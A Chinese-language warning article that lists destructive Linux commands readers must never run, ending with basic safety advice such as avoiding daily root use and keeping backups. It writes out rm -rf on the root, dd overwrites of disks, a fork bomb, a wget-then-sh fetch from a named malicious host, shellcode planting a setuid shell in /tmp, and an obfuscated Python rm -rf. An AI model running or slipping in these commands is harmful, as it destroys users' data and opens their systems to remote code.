文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,因为它们会实实在在的破坏你的系统。
sudo rm -rf / 删除根分区全部的文件 sudo rm -rf . 删除当前目录下的所有文件 sudo rm -rf * 同上 rm -rf * or rm -rf *.* 同上 rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。 |
sudo mkfs.xxxx |
sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。 sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。 sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。 |
any_command > /dev/sda 用随意的数据破坏硬盘 |
fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:
:(){:|:&};: |
fork while fork |
wget http://some_place/some_file sh ./some_file wget http://hax018r.org/malicious-script sh ./malicious-script |
即使有源代码的程序,也不要随便编译执行:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" "x6ex2fx73x68x00x2dx63x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; |
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))' |
第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!